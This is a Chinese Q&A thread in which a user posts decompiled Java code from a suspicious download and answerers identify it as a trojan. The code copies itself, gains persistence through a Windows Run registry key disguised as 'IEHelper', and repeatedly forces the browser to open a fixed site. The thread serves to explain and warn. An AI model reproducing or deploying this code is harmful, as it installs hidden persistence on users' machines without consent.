程序代码理解[JAVA]

时间:2016-06-07 11:59:46

标签: java

我正在下载某种文件,我观察到了奇怪的活动,并在反编译后发现了这段代码 -

    package w1Comlu;

import java.awt.Desktop;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.util.Random;
import w1Comlu.WinRegistry;

public class Main {
    public static void main(String[] args) {
        File file = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().getPath());
        File newFile = new File(System.getProperty("user.dir"), "boot.jar");
        if (!newFile.exists()) {
            try {
                Files.copy(file.toPath(), newFile.toPath(), new CopyOption[0]);
                String value = "\"javaw -jar " + System.getProperty("user.dir") + "\\boot.jar\"";
                try {
                    WinRegistry.writeStringValue((int)-2147483647, (String)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", (String)"IEHelper", (String)value);
                }
                catch (IllegalArgumentException e) {
                    e.printStackTrace();
                }
                catch (IllegalAccessException e) {
                    e.printStackTrace();
                }
                catch (InvocationTargetException e) {
                    e.printStackTrace();
                }
            }
            catch (IOException e1) {
                e1.printStackTrace();
            }
            try {
                Thread.sleep(600000);
            }
            catch (InterruptedException e1) {
                e1.printStackTrace();
            }
        }
        String url = "http://w1.comlu.com/";
        Desktop desktop = Desktop.isDesktopSupported() ? Desktop.getDesktop() : null;
        do {
            boolean worked = false;
            if (desktop != null && desktop.isSupported(Desktop.Action.BROWSE)) {
                try {
                    desktop.browse(new URI(url));
                    worked = true;
                }
                catch (Exception e) {
                    e.printStackTrace();
                }
            }
            if (!worked) {
                new java.lang.ProcessBuilder("x-www-browser", url);
            }
            try {
                Thread.sleep(new Random().nextInt(600) * 1000);
                continue;
            }
            catch (InterruptedException e) {
                e.printStackTrace();
                continue;
            }
            break;
        } while (true);
    }
}

我只能理解一些代码,因为我是Java的新手。有人可以详细说明所有代码试图做什么吗?

2 个答案:

答案 0 :(得分:1)

此代码尝试向Registry写入内容,然后加载URL。

我不会跑它......

答案 1 :(得分:1)

这段代码是一种 Trojan

一旦执行;它会

1)将包含此代码的jar复制到用户目录

2)写入Windows注册表,欺骗系统在每次用户登录时启动此jar:Run and RunOnce Registry Keys

3)通过浏览器无限生成代码中存在的URL的开头,随机延迟1到600秒

确实,永远不要执行你不信任的罐子。